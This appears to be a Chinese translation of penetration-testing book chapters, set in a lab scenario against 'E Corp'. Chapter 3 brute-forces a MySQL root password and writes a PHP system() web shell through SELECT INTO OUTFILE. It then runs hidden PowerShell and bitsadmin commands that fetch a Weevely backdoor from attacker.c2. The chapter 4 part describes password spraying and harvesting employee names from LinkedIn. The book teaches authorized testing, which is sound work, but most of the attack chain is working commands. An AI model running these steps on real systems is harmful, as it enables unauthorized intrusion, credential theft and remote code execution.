客户通常会请求安全专业人员进行应用程序渗透测试。在许多项目中,测试者几乎没有或根本没有获得任何信息,这促使了黑盒测试的方法。这可能会使测试变得更加困难,特别是当开放源情报并不能提供太多帮助,或者接口并不直观或用户友好时,这在 API 中有时可能会发生。
在本章节提出的场景中,我们面对的正是在现实中经常遇到的问题。与其深入探讨 API 的内部工作原理,并试图在没有太多先验知识的情况下反向工程其功能,我们可以先寻找那些低 hanging fruit(易于获取的目标)。我们希望,通过选择安全团队少走的路,最终能够找到开放的后门,并绕过那扇四英尺厚的钢门,保护着入口。
在本章中,我们将探讨以下内容:
-
评估应用程序服务器的安全姿态,寻找替代路径来妥协
-
对服务进行暴力攻击
-
利用相邻服务中的漏洞来妥协目标
网络评估
我们已经在之前的章节中看到,Metasploit 的工作区功能非常有用。在接下来的项目中,我们也会利用它。首先,我们必须使用 msfconsole 命令从终端启动控制台。一旦 Metasploit 加载完成,它将把我们带到熟悉的 msf > 提示符下。
root@kali:~# **msfconsole**
[*] StarTing the Metasploit Framework console...
msf >
与所有涉及 Metasploit 的项目一样,我们首先为该范围创建一个工作空间:
msf > **workspace -a ecorp**
[*] Added workspace: ecorp
对于此场景,我们的目标是由 E Corp 提供的黑盒 API 应用程序。目标主机将是 api.ecorp.local。
在我们猛攻 Web 接口并尝试利用某些隐蔽漏洞之前,让我们退一步,看看 API 服务器上暴露的其他服务。我们希望,尽管开发人员可能在开发生命周期中严格审查了 API 本身并且认真对待了安全性,但在部署服务器本身时可能会犯错误。系统硬化的许多方面简直无法在源代码仓库内控制。特别是当托管目标应用程序的服务器是一个共享资源时。这增加了随着不同团队及其不同需求的互动,系统安全策略随时间放宽的可能性。可能存在一些开发实例,其控制不严格地运行在非标准端口上,或者是一个被遗忘且易受攻击的应用程序,可以为我们(作为攻击者)提供所需的访问权限,并轻松妥协目标。
和往常一样,Nmap 是我们首选的网络侦察工具,结合 Metasploit 的工作空间,它变得更强大。Metasploit 控制台的 Nmap 包装命令是 db_nmap 命令。我们将使用的 Nmap 切换选项,用于发现开放端口并查询服务以获取更多信息,详见以下内容。
-sV 选项会指示 Nmap 执行版本扫描,识别到的任何服务都会进行版本探测,-A 选项会为我们提供一些主机指纹信息,并尝试检测操作系统。-T4 选项用于告知 Nmap 在扫描网络时更具攻击性。这样可以提高扫描速度,但也有被入侵检测系统发现的风险。较低的数字(例如 -T1)会让扫描更为谨慎,虽然完成速度较慢,但可能会让我们在更长时间内保持隐蔽。-Pn 选项会阻止 Nmap 对目标执行 ping 操作。除非我们扫描广泛的地址范围并且只关注在线的主机,否则 ping 操作通常不是必需的。最后,-p1-(小写)是 -p1-65535 的简写,指示 Nmap 扫描目标上的所有端口。未命名的参数是我们的目标,api.ecorp.local:
msf > **db_nmap -sV -A -T4 -Pn -p1- api.ecorp.local**
[*] Nmap: Starting Nmap 7.40 ( https://nmap.org )
[...]
[*] Nmap: Nmap done: **1 IP address (1 host up)** scanned in 206.07 seconds
msf >
由于我们使用 Metasploit 的 db_nmap 命令包装了 Nmap 扫描,结果会自动解析并写入到我们的工作空间数据库中。扫描完成后,我们可以通过执行 services 命令查看数据库中的条目:
msf > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
**10.0.5.198 80 tcp http open Apache httpd 2.4.26 (Win32) OpenSSL/1.0.2l PHP/5.6.31**
**10.0.5.198 3306 tcp mysql open MariaDB unauthorized**
看起来 MySQL 实例是可访问的,因此获取对它的访问权限将非常有价值。Nmap 将其检测为 MariaDB 服务,MariaDB 是 MySQL 软件的社区开发分支。如果我们运气好,实例可能是过时的,存在一些容易被利用的漏洞,能为我们提供即时访问。为了弄清楚这一点,我们可以使用数据库软件的版本号,并将其与公共 常见漏洞和暴露(CVE)列表进行比对,希望能在互联网上找到一些可利用的代码。
我们希望通过暴露的 MySQL(MariaDB)服务攻击,而不是直接通过端口 80 进行应用程序攻击,如图所示的攻击路径所示:
图 3.1:另一种攻击路径
寻找突破口
由于 Nmap 扫描没有返回特定版本,我们可以快速执行一个详细的版本探测,针对 MySQL 服务使用几个 Metasploit 命令。
首先,我们加载名为 mysql_version 的辅助扫描模块。使用 use 命令,后跟模块路径 auxiliary/scanner/mysql/mysql_version,即可在当前会话中加载该模块。我们可以通过执行 show info 命令查看关于 mysql_version 模块的更多信息,如下图所示:
图 3.2:mysql_version 模块信息
基本选项: 会列出我们需要更新的变量,以确保模块能正常执行。对于这个特定的扫描器,RHOSTS、RPORT 和 THREADS 参数是必需的。RHOSTS,即远程主机,和 RPORT,即远程端口,应该是显而易见的。THREADS 选项可以增加线程数以提高扫描速度,但由于我们只针对一个远程主机 api.ecorp.local,因此不需要超过一个扫描线程。
在加载模块后,我们可以将所需的 RHOSTS 变量设置为适当的目标。由于目标已经被 db_nmap 扫描过,并且结果存储在 ecorp 工作区中,我们可以使用 services 命令自动将 RHOSTS 变量设置为所有找到的 MySQL 服务器,如下所示:
msf auxiliary(mysql_version) > **services -s mysql**
**-R**
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.0.5.198 3306 tcp mysql open MariaDB unauthorized
**RHOSTS => 10.0.5.198**
msf auxiliary(mysql_version) >
services 命令接受一些开关,以更好地过滤和处理结果。services 命令中的 -R 选项将当前模块的 RHOSTS 变量设置为查询返回的值。在这种情况下,你也可以手动输入主机,但对于更广泛的扫描,这个开关将非常方便。
还有其他方式可以查询工作区中的服务。例如,在之前的命令行输入中,我们使用了 -s 选项,它过滤出所有运行 MySQL 服务的主机。
如果我们知道接下来会使用其他 Metasploit 模块攻击同一主机,最好将全局 RHOSTS 变量设置为相同的值。这将确保在切换模块时,RHOSTS 值会自动填充。我们可以通过使用 setg 命令来实现,如下所示:
msf auxiliary(mysql_version) > **setg RHOSTS 10.0.5.198**
RHOSTS => 10.0.5.198
msf auxiliary(mysql_version) >
现在剩下的就是运行 mysql_version 模块,希望能够返回一些有用的信息,如下图所示:
图 3.3:在目标 RHOSTS 上运行的 mysql_version
看起来该模块成功识别了 MySQL 服务器版本。这在寻找已知漏洞时非常有用。
如果我们再执行一次 services 查询,你会注意到 mysql 服务的 info 字段已更改为 mysql_version 扫描的结果,如下所示:
msf auxiliary(mysql_version) > **services -s mysql**
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.0.5.198 3306 tcp mysql open 5.5.5-10.1.25-MariaDB
msf auxiliary(mysql_version) >
在我们的 Nmap 扫描未能识别版本号时,Metasploit 成功地识别并自动更新了数据库以反映这一点。然而,经过查看 MySQL 的公开 CVE 记录后,似乎该实例并没有任何未经认证的漏洞。
回到 Kali Linux 终端,我们可以使用 mysql 客户端命令尝试以 root(-u)身份认证连接到 api.ecorp.local 主机(-h):
root@kali:~# **mysql -uroot -hapi.ecorp.local**
ERROR 1045 (28000): Access denied for user 'root'@'attacker.c2' (using password: NO)
root@kali:~#
注意 -u 和 -h 开关及其对应值之间没有空格。快速检查空的 root 密码失败,但这证明 MySQL 服务器接受来自远程地址的连接。
凭证猜测
由于我们未能找到一个有效的远程漏洞用于 MySQL 实例,下一步是尝试对默认 MySQL root 用户进行凭证暴力破解攻击。我们将使用我们整理过的常见密码字典之一,并希望这个实例在部署时没有得到妥善的安全保护。
在 Metasploit 的帮助下,我们可以相对容易地启动一个 MySQL 登录密码猜测攻击。我们将使用 mysql_login 辅助扫描模块,如下所示的截图所示。这个模块有一些额外的可用选项供调整:
图 3.4:mysql_login 辅助扫描模块
在继续之前,我们将设置以下值,以使扫描更加高效,并减少一些噪音:
msf auxiliary(mysql_login) > **set THREADS 10**
THREADS => 10
msf auxiliary(mysql_login) > **set VERBOSE false**
VERBOSE => false
msf auxiliary(mysql_login) > **set STOP_ON_SUCCESS true**
STOP_ON_SUCCESS => true
msf auxiliary(mysql_login) >
增加 THREADS 线程数将帮助你更快地完成扫描,尽管这样可能会更加显眼。更多线程意味着更多的服务连接。如果这个主机不够强健,我们可能会将其崩溃,从而引起防御者的警觉。如果我们的目标是保持低调,我们可以只使用一个线程,但扫描将需要更长时间。VERBOSE 变量应设置为 false,因为你将测试大量密码,控制台输出可能会变得混乱。禁用冗余输出的一个额外好处是,它显著提高了扫描速度,因为 Metasploit 不需要在每次尝试后将内容输出到屏幕上。最后,设置 STOP_ON_SUCCESS 为 true,如果成功登录,我们将停止攻击。
目标 USERNAME 将设置为 root,因为默认情况下,MySQL 安装通常启用这个用户:
**msf auxiliary(mysql_login) > set USERNAME root**
**USERNAME => root**
对于字典文件,PASS_FILE 将设置为 SecLists 中的 10-million-password-list-top-500.txt 文件,内容如下。这是从一个包含 1000 万个密码的大字典中提取的 500 个最常见的密码:
msf auxiliary(mysql_login) > set PASS_FILE **~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-500.txt**
PASS_FILE => ~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
msf auxiliary(mysql_login) >
这是一个不错的起点。还有其他不同的 1000 万密码列表文件变体,如果这个无法产生有效的登录,我们可以尝试前 1000 个、10000 个或其他字典。
与 Metasploit 中的其他模块一样,run 命令将开始执行:
msf auxiliary(mysql_login) > **run**
几分钟后,我们收到了一些好消息:
[+] 10.0.5.198:3306 - MYSQL - Success: **'root:789456123'**
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >
看起来我们已经找到了一个有效的登录凭证,适用于与目标应用程序运行在同一台机器上的 MySQL 实例。这个数据库可能是 API 使用的数据库,也可能不是。我们将进一步检查,看看能否找到办法启动一个 shell,完全入侵 E Corp API 服务器,并间接入侵我们的目标。
我们可以再次通过 mysql 命令从我们的 Kali Linux 实例直接连接。-u 选项指定用户名,-p 选项让我们传入新发现的密码。选项与其值之间没有空格。如果我们省略 -p 的值,客户端将提示我们输入密码。
以下截图展示了成功连接到数据库服务并使用 show databases; SQL 查询列出可用数据库的情况:
图 3.5:成功认证连接到目标数据库
一旦连接,我们查询了可用的数据库,但似乎服务器上没有与 API 相关的内容。可能是该 API 配置为使用不同的 SQL 数据库,而我们碰巧发现了一个没有太多有趣数据的开发实例。
鉴于我们是数据库管理员 root,我们应该能够做很多有趣的事情,包括将任意数据写入磁盘。如果我们能做到这一点,意味着我们可能会实现远程代码执行。
提示
有一个 Metasploit 模块(惊讶吧)可以通过已知凭证上传可执行文件并启动反向 shell。对于 Windows 机器,exploit/windows/mysql/mysql_payload 可以上传一个 Meterpreter shell 并执行它,尽管它有一些缺点。一个标准的 Metasploit 有效载荷可能会被 杀毒软件 (AV) 检测到,并向防守者发出警报。通过 完全不可检测 (FUD) 的 Metasploit 有效载荷,可以绕过杀毒软件,但在本章的场景中,我们将选择一个更简单、风险较低的选项。
虽然 MySQL 能通过 SQL 查询语句将文件写入磁盘,但执行二进制文件实际上要复杂一些。我们不能轻易地将二进制数据写入磁盘,但可以写应用程序源代码。实现代码执行的最简单方法是在应用程序目录中写一些 PHP 代码,这样我们就能通过应用程序的 URL 执行 shell 命令。在 PHP 的帮助下,web shell 将通过 HTTP GET 请求接收命令并将其传递给系统 shell。
现在,让我们找出当前磁盘的位置,以便将有效载荷写入适当的 web 应用程序目录。SHOW VARIABLES SQL 查询可以让我们查看配置信息,而 WHERE 子句将输出限制为仅目录信息,如下所示:
MariaDB [(none)]> show variables where variable_name like **'%dir';**
+---------------------------+--------------------------------+
| Variable_name | Value |
+---------------------------+--------------------------------+
| aria_sync_log_dir | NEWFILE |
| basedir | C:/xampp/mysql |
| character_sets_dir | C:\xampp\mysql\share\charsets\ |
| datadir | C:\xampp\mysql\data\ |
| innodb_data_home_dir | C:\xampp\mysql\data |
| innodb_log_arch_dir | C:\xampp\mysql\data |
| innodb_log_group_home_dir | C:\xampp\mysql\data |
| innodb_tmpdir | |
| lc_messages_dir | |
| plugin_dir | C:\xampp\mysql\lib\plugin\ |
| slave_load_tmpdir | C:\xampp\tmp |
| tmpdir | C:/xampp/tmp |
+---------------------------+--------------------------------+
12 rows in set (0.00 sec)
MariaDB [(none)]>
这看起来像是 XAMPP 安装,并且根据开源文档,主网站代码应位于 c:\xampp\htdocs\。你可以通过快速的 curl 测试来确认这一点。典型的 XAMPP 安装在 htdocs 文件夹中有一个名为 xampp 的子目录。它包含一些文件,其中之一是 .version 文件,里面包含了你想要的内容,即 XAMPP 版本:
root@kali:~# **curl http://api.ecorp.local/xampp/.version**
5.6.31
root@kali:~#
回到 MySQL 命令行界面,我们可以尝试使用 MySQL 的 SELECT INTO OUTFILE 查询将数据写入该目录。如果我们能把 PHP 文件放到 htdocs 中的某个地方,我们应该能通过网页浏览器或 curl 来调用它,这样就能执行代码。
我们将使用的 SELECT 语句模板如下:
**select "[shell code]" into outfile "[/path/to/file.php]";**
让我们插入一些测试值,看看是否能写入目标目录,更重要的是,应用 Web 服务器是否能正确处理我们的 PHP 代码:
**MariaDB [(none)]> select** "<?php phpinfo();/*ECorpAppTest11251*/ ?>" into outfile "c:/xampp/htdocs/xampp/phpinfo.php";
**Query OK, 1 row affected (0.01 sec)**
**MariaDB [(none)]>**
注意
ECorpAppTest11251 标志作为注释添加,以防我们在测试完成后无法清理此 shell,需要向客户的蓝队报告。它还可以帮助蓝队识别可能在事件响应演练中被遗漏的文件。这并非总是必须的,但这是一个好的做法,特别是在处理高风险工件时。
这是好的:查询成功。我们可以检查 PHP 解释器是否在此目录下工作,并通过从浏览器调用它来查看文件是否成功执行,如下图所示:
图 3.6:PHP 代码成功执行
在这一阶段,我们需要获取服务器的 shell 访问权限,这样我们才能执行任意命令,而不仅仅是输出 PHP 配置数据。通过修改之前的SELECT INTO OUTFILE负载,可以生成一个初步的 PHP shell。PHP 有一个内置函数,方便执行任意的 shell 命令。所有服务器端的 Web 编程语言都具有此功能:如 Python、Perl、ASP、Ruby 等等。
如果我们将来自GET请求的数据传递给 PHP 内置的system()函数,我们就可以在服务器上执行任意命令。
以下是我们的 Web shell 源代码:
图 3.7:Web Shell 源代码
代码非常简单。if语句会检查传入的 password 参数的 MD5 哈希值是否与 4fe7aa8a3013d07e292e5218c3db4944 匹配。如果匹配,cmd GET 参数中的命令字符串将传递给 PHP 的 system() 函数,这样它就会作为系统命令执行,从而为我们提供 shell 访问权限。
我们要找的 MD5 值是 ECorpAppTest11251 的哈希值,已通过 md5sum Linux 命令确认:
root@sol:~# echo -n ECorpAppTest11251 | md5sum
**4fe7aa8a3013d07e292e5218c3db4944** -
root@sol:~#
为了方便地通过 MySQL 的SELECT INTO OUTFILE语句将 shell 代码写入磁盘,我们可以将其压缩成一行。幸运的是,PHP 对回车符不太敏感,只要代码通过分号和大括号正确分隔即可。我们可以将我们的 Web shell 压缩成以下一行:
<?php if (md5($_GET['password']) == **'4fe7aa8a3013d07e292e5218c3db4944')** { system($_GET['cmd']); } ?>
如果我们将它插入到我们的 SELECT INTO OUTFILE 模板中,我们应该能够将其写入 xampp 子目录中,该目录可以通过 Web 访问:
MariaDB [(none)]> select **"<?php if (md5($_GET['password']) == '4fe7aa8a3013d07e292e5218c3db4944') { system($_GET['cmd']); } ?>" into outfile "c:/xampp/htdocs/xampp/xampp.php";**
Query OK, 1 row affected (0.01 sec)
**MariaDB [(none)]>**
我们可以通过执行 tasklist 系统命令并传递 ECorpAppTest11251 作为密码,看到 shell 的实际操作,如下图所示:
图 3.8:应用服务器上的进程列表
这很简单。我们现在可以在应用服务器上执行任意代码。我们可以获取目标源代码,找到数据库,导出密码,后门应用,等等。
更好的方式来使用 shell
虽然我们已经实现了在服务器上执行代码,并有效地攻陷了应用程序(甚至更多!),但你可能有动力进一步深入挖掘。此外,到目前为止创建的 Web shell 相当简陋,执行命令时很难连续操作。如果这项测试持续数天,甚至数周,这将成为一种负担。它有点笨重,且难以操作。你可能需要传输文件、升级到交互式 shell、浏览文件系统等等。为了这些原因,以及许多其他原因,你应该升级到一个功能更强的 shell。这就是Weevely的作用。
Weevely 是一个默认安装在 Kali Linux 中的武器化 Web Shell,使用起来非常简单。它生成一个混淆过的、密码保护的 PHP shell,可以替代我们之前的system() shell 示例。Weevely 提供了一些超越传统系统传递 shell 的有用功能,包括以下内容:
-
一个熟悉的终端界面
-
网络转发
-
文件上传与下载
-
反向和直接 TCP shell
-
Meterpreter 支持
首先,我们需要通过执行weevely generate命令生成一个新的 shell。语法如下:
**root@kali:/var/www/html# weevely generate <password> </path/to/shell.php>**
Weevely 将在我们 Kali 机器上指定路径生成一个密码保护、混淆过的 PHP Web shell:
root@kali:/var/www/html# **weevely generate ECorpAppTest11251**
**/var/www/html/shell.php**
Generated backdoor with password 'ECorpAppTest11251' in '/var/www/html/shell.php' of 742 byte size.
root@kali:/var/www/html#
为了快速提供新生成的 Web shell,我们可以使用一行命令在 Kali Linux 实例上启动一个临时 Web 服务器。Python 自带一个SimpleHTTPServer模块,可以从终端调用,来通过 HTTP 提供文件。不需要调整 Apache 或 NGINX 设置。默认情况下,SimpleHTTPServer模块会将当前目录的内容提供给 Web。
在与 Weevely 生成的文件shell.php(/var/www/html)相同的目录下,我们可以使用带有-m开关的 python 来加载SimpleHTTPServer模块。最后一个参数是 Web 服务器监听的端口,本例中为端口80:
root@kali:/var/www/html# **python -m SimpleHTTPServer 80**
Serving HTTP on 0.0.0.0 port 80 ...
困难的部分已经过去。现在我们只需通过现有的 shell xampp.php将shell.php传输到目标服务器。可以通过几种方式实现这一点。在 Linux 服务器上,wget几乎总是可用且易于使用。对于 Windows,你可以利用内置的bitsadmin.exe或更炫酷的powershell.exe一行命令。
我们可以利用curl和以下模板,在远程主机上执行 PowerShell 命令,并有效地下载一个更高级的 Weevely shell。你只需要插入合适的值:
curl -G "[current shell url]" --data-urlencode **"cmd=[command to execute]" &password=ECorpAppTest11251**
要执行的命令,在本例中将是以下内容:
**powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile('http://attacker.c2/shell.php','c:\xampp\htdocs\xampp\test.php')**
为了悄无声息地成功执行 PowerShell 文件下载器,需要一些参数开关。-w开关将窗口样式设置为hidden,防止在执行过程中出现任何不必要的弹出窗口。-nop和-noni开关将分别禁用配置文件加载和用户交互,从而在执行下载器时提供更多的隐匿性。
-c 选项接收一个任意的 PowerShell 脚本块来执行。为了我们的目的,我们将创建一个新的 Net.Webclient 对象,并调用它的 DownloadFile 方法,将源和目标作为参数传递。
这个 PowerShell 一行命令示例将从 SimpleHTTPServer 获取 Weevely shell 内容,并将其放入应用服务器的相应 htdocs 目录中:
root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode **"password=ECorpAppTest11251& cmd=powershell -w hidden -noni -nop -c (new-object net.webclient).DownloadFile('http://attacker.c2/test.php','c:\xampp\htdocs\xampp\test.php')"**
root@kali:/var/www/html#
Curl 有一个 --data-urlencode 选项,它会将我们的命令进行 URL 编码,使其通过 HTTP 传输时不会引发任何问题。-G 选项确保编码后的数据通过 GET 请求传递。
由于 PowerShell 命令在一个独立的进程中运行,简单的 PHP shell xampp.php 将无法返回任何成功或失败的消息。我们可以通过尝试使用 Weevely 客户端连接到该 shell 来验证成功与否。
尽管现在不太常见,但目标 Windows 系统上可能会禁用或无法使用 PowerShell。在这种情况下,使用 bitsadmin.exe 下载 payload 完全可行。将正确的值插入后,我们可以抓取 Weevely shell 并将其放入 htdocs 文件夹。
我们将使用的 bitsadmin 命令模板如下:
**bitsadmin /transfer myjob /download /priority high [current shell url] [save location]**
就像 PowerShell 下载器一样,您需要在命令中展开变量,并将它们插入到 curl 模板中,如下所示:
root@kali:/var/www/html# curl -G http://api.ecorp.local/xampp/xampp.php --data-urlencode **"password=ECorpAppTest11251&cmd=bitsadmin /transfer myjob /download /priority high http://attacker.c2/shell.php c:\\xampp\\htdocs\\xampp\\test.php"**
BITSADMIN version 3.0 [ 7.5.7601 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
Transfer complete.
root@kali:/var/www/html#
注意
正如 bitsadmin 输出中明确指出的,二进制文件已被弃用。尽管它在所有 Windows 版本中仍然可用,但将来可能不再如此。然而,企业通常更新 Windows 版本较慢,因此您可能仍然可以依赖此工具多年。
现在,Weevely 客户端应该能够连接到远程主机上的 test.php shell。执行此操作的语法不言自明:
root@kali:/var/www/html# **weevely http://api.ecorp.local/xampp/test.php ECorpAppTest11251**
[+] weevely 3.2.0
[+] Target: ECORP-PRD-API01:C:\xampp\htdocs\xampp
[+] Session: /root/.weevely/sessions/api.ecorp.local/test_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
我们可以在 Weevely shell 中发出命令,这些命令将直接传递给被攻陷的主机:
weevely> **whoami**
ECORP-PRD-API01\Administrator
ECORP-PRD-API01:C:\xampp\htdocs\xampp $
获取 Weevely shell 后的第一步是删除之前创建的系统通行 Web shell xampp.php 文件,操作如下:
ECORP-PRD-API01:C:\xampp\htdocs\xampp $ **del xampp.php**
此时,我们可以自由地在服务器上移动,收集任何可以在攻击后续阶段使用的信息。我们完全控制服务器,如果需要,可以运行更强大的反向 shell,例如 Meterpreter。
即使被攻陷的服务器与网络的其他部分隔离,我们仍然能够访问应用程序代码。我们可以通过后门方式收集经过身份验证用户的网络凭证,然后进一步攻击公司网络。这实际上取决于参与的范围。
清理
如前所述,一旦任务完成,我们必须确保清除任何可能让客户暴露的遗留物。在此次攻击中,我们创建了三个文件,这些文件可能被用来攻击客户。尽管不太可能有人能利用我们的 Weevely 外壳,但删除任何遗留物是明智的。我们创建的phpinfo.php测试文件也应该被删除。虽然它不提供任何远程访问,但它显示的信息可能被用来进行攻击。
就像我们查询 MySQL 变量以找出应用程序在磁盘上的位置一样,攻击者可以利用phpinfo()的输出,改进本地文件包含攻击的成功率,如下所示:
ECORP-PRD-API01:C:\xampp\htdocs\xampp $ **del test.php phpinfo.php**
ECORP-PRD-API01:C:\xampp\htdocs\xampp $ **dir**
[-][channel] The remote backdoor request triggers an error 404, please verify its availability
[-][channel] The remote backdoor request triggers an error 404, please verify its availability
ECORP-PRD-API01:C:\xampp\htdocs\xampp $
一旦我们移除了test.php外壳,Weevely 客户端将失去连接,并显示前面代码块中的404错误信息。
注意
在摧毁网络中的任何持久性之前,最好先完成报告。
资源
参考以下资源以获取有关渗透测试工具和技术的更多信息:
-
Mitre 提供了一个方便的网站,列出了所有可用的 CVE:
cve.mitre.org/ -
Weevely 文档和最新代码可以在 GitHub 上找到:
github.com
总结
在本章中,我们继续展示了始终做好安全工作是多么困难。不幸的是,这一直是,也将永远是,大多数公司的现实。然而,作为专业攻击者,我们却在这一点上茁壮成长。
在我们的场景中,我们没有直接攻克应用程序,而是花费了大量时间与 API 进行交互,寻找破坏它的方法。相反,我们假设大部分的安全加固工作都花在了应用程序本身上,并且我们依赖于这样一个事实:显然,保护服务器或开发环境并保持其安全是一项困难的任务。
通常,应用程序开发生命周期倾向于将开发人员和管理员的注意力集中在应用程序代码本身,而忽视了辅助系统控制。操作系统没有打补丁,防火墙完全开放,开发数据库实例暴露了应用程序,容易遭受一系列简单但有效的攻击。
在本章中,我们探讨了以其他方式攻克目标应用程序的方法。通过使用 Nmap 扫描应用程序服务器,我们发现一个暴露的数据库服务,其配置了一个容易猜测的密码。通过访问该相邻服务,我们能够在服务器上执行代码,最终访问目标应用程序及更多内容。
在下一章中,我们将探讨高级暴力破解技术以及如何在隐蔽性至关重要的任务中保持低调。
第四章 高级暴力破解
某些任务需要更多的隐蔽性,而这些任务中最嘈杂的部分通常是暴力破解扫描。无论我们是在特定的登录表单上寻找有效的凭证,还是扫描有趣的 URL,大量的目标连接在短时间内都可能会引起防御者的警觉,测试可能在真正开始之前就已经结束了。
大多数渗透测试任务都是“砸窗抢劫”型的操作。这类评估通常时间比较紧迫,而在暴力破解攻击中为了隐蔽性限制我们的连接速度可能会妨碍进展。对于那些可能需要更多技巧的任务,传统的暴力破解和字典攻击方法可能过于激进,并可能引发蓝队的警报。如果目标是在整个测试期间保持低调,那么使用更细腻的方式猜测密码或使用 SecLists 字典查找未保护的网页内容可能是更好的选择。
在本章中,我们将讨论以下内容:
-
密码喷射攻击
-
元数据收集和公共网站抓取
-
使用Tor规避入侵检测系统(IDS)
-
使用Amazon Web Services(AWS)规避 IDS
密码喷射
在暴力破解账户凭证时,一个常见的问题是后端认证系统可能会在短时间内多次输入无效信息后锁定目标账户。微软的Active Directory(AD)对所有用户设置了默认的策略,正是为了实现这一点。典型的策略足够严格,对于大多数攻击者来说,使用大密码列表攻击单一账户会非常耗时,且几乎没有投资回报的希望。与 AD 集成认证的应用将会受到这些策略的影响,传统的暴力破解攻击可能会导致账户锁定,进而触发防御方的警报,并且显然会引起被锁定用户的警觉。
一种巧妙的方式,既能绕过一些账户锁定控制,又能增加成功几率,称为反向暴力破解攻击或密码喷射攻击。其原理很简单,基于一个事实:作为攻击者,我们通常只需要一组凭据就能攻破应用程序或托管它的环境。与其将暴力破解攻击集中在一个用户上,并冒着将其锁定的风险,我们不如针对多个已知有效用户,使用较小的、更有针对性的密码列表进行攻击。只要我们将每个账户的尝试次数保持在锁定政策以下,就能避免触发警报。密码喷射不仅在试图获取对组织 VPN web 应用程序或Outlook Web Access(OWA)的访问时有用,还可以用于任何其他应用程序的登录系统。虽然几乎可以确定与 AD 集成的应用程序实施了锁定策略,但其他具有独立身份验证机制的应用程序中也可能存在类似的策略。
为了正确地进行凭据喷射攻击,我们需要一个包含大量有效用户名的列表,形式可以是邮箱地址或熟悉的DOMAIN\ID格式。收集有效的用户或账户名比看起来要容易。即便没有 SQL 或轻量目录访问协议(LDAP)注入转储,首先要查看的地方应该是目标公司公开的网站。通常会有很多线索,帮助我们了解公司如何构建账户名或用户 ID。在与 AD 集成的应用程序中,常见的邮箱格式为ldap@company.com,可以从他们的联系我们、关于我们或团队页面中提取。有些账户信息也可以在源代码中找到,通常是 JavaScript 库、HTML 或 CSS 文件,尤其是针对公开面向用户的 Web 应用程序。
以下是一个示例 JavaScript 库,其中包含在执行密码喷射攻击时构建账户列表时的有用信息:
/**
* slapit.js
*
* @requires jQuery, Slappy
*
* @updated **klibby@corp** on 12/12/2015
*/
(function(){
var obj = $('.target');
/* @todo **dmurphy@corp**: migrate to Slappy2 library */
var slap = new Slappy(obj, {
slide: false,
speed: 300
});
slap.swipe();
)();
前面的代码不仅给我们提供了至少两个账户作为喷射攻击的目标,还暗示了用户账户名称的结构。如果我们查看高层团队介绍页面上的联系信息,我们可以合理推测这些员工的账户名可能是什么。
用户名的常见格式,特别是在基于 LDAP 身份验证的情况下,通常如下:
-
FirstName.LastName -
[First Initial]LastName -
LastName[First Initial] -
FirstNameLastName
任何在公开网站上列出的联系邮箱,都可以添加到我们潜在用户的目标列表中进行喷射攻击。很有可能这些邮箱也对应着他们的登录凭据。例如,如果我们收集了大量格式为david.lightman@antihacker.com的公司邮箱,而我们一无所知,我们可以建立一个包含以下条目的用户列表:
-
david.lightman -
dlightman -
lightmand -
davidl -
davidlightman
一些组织已经决定将员工的账户名限制为 8 个字符或更少,作为公司范围内的一项通用政策。这简化了对于那些不支持长账户名的遗留系统的账户配置。像 John Smith 这样的常见员工姓名,在大型组织中也可能导致冲突,通常通过在账户名后添加数字来解决这个问题。
基于这些原因,我们还应该在列表中添加以下几种变体:
-
dlightma -
dlightm2 -
dlightm3
我们还应考虑愿意进行多少次身份验证失败尝试。虽然我们通过密码喷射技术使用一个密码尝试 10 个不同的用户名变体,从而避免账户锁定,但如果其中一个名字有效,我们仍然会产生至少 9 次失败的身份验证尝试。如果我们针对 300 名员工,每人有 10 个变体,这将导致一个相当高的身份验证失败率,可能会触发 IDS 并提醒防御者我们的活动。
LinkedIn 抓取
LinkedIn 也是获取员工姓名的一个重要来源,我们可以利用这些信息来构建有效的账户名称列表。一点点Google 黑客技巧可以列出所有公开的 LinkedIn 个人资料,这些个人资料来自那些公开表示在我们目标公司工作的人。Google 黑客技巧指的是通过使用特定的查询词,利用搜索引擎返回多年索引的有趣信息。例如,如果我们想要瞄准 Yahoo!,我们可以通过使用site和inurl查询修饰符来过滤出包含员工姓名的 Google 搜索结果:
**site:**linkedin.com **inurl:**"/pub/" **-inurl:**"/dir/" "at **[Target Company]**"
修饰符及其参数通过冒号(:)分隔,也可以在前面加上负号(-)来表示是否应包括或排除某个值。inurl修饰符可以指示 Google 仅返回包含特定字符串的 URL 结果。相反,-inurl修饰符会排除 URL 中包含该字符串的结果。我们还可以将搜索词用引号括起来,以表示我们希望结果精确匹配该字符串。
在我们的示例中,我们寻找的是包含/pub/的 LinkedIn 个人资料页面,并且其页面内容中包含"at Yahoo"。通过使用反向(-)inurl修饰符,我们还排除了包含/dir/的 URL,以确保结果仅包含员工资料而非目录页。该搜索还通过site修饰符限制在linkedin.com域名内。结果应该包含表明用户在“公司”工作的文字。
图 4.1:Google 黑客示例
搜索查询返回的员工姓名可以被爬取并存储在一个文本文件 linkedin.txt 中,按 First[空格]Last 格式进行处理。对于我们的密码喷洒攻击,我们需要将文本文件中的 First Last 条目转换为潜在的账户名。我们可以通过一些简单的 Python 代码快速实现这一点。
首先,我们需要以读取模式(r)打开 linkedin.txt 文件,并将指针存储在 fp 变量中,如下所示:
with open("**linkedin.txt**", '**r**') as **fp**:
我们可以使用 for 循环,配合 iter 函数,遍历 fp 的内容。这将允许我们遍历文本文件中的每一行,并在每次循环中将相应的值存储在 name 变量中:
for **name** in iter(**fp**):
接下来,对于每一行,假设包含一个由空格分隔的名字和姓氏条目,我们可以使用以下单行代码通过空格(' ')来 split() 分隔这两个部分:
*first, last* = name.strip().lower().*split(' ')*
变量 first 和 last 将包含你期望的值,这些值会经过 strip() 和 lower() 函数调用后被清理为小写且去除多余空格。
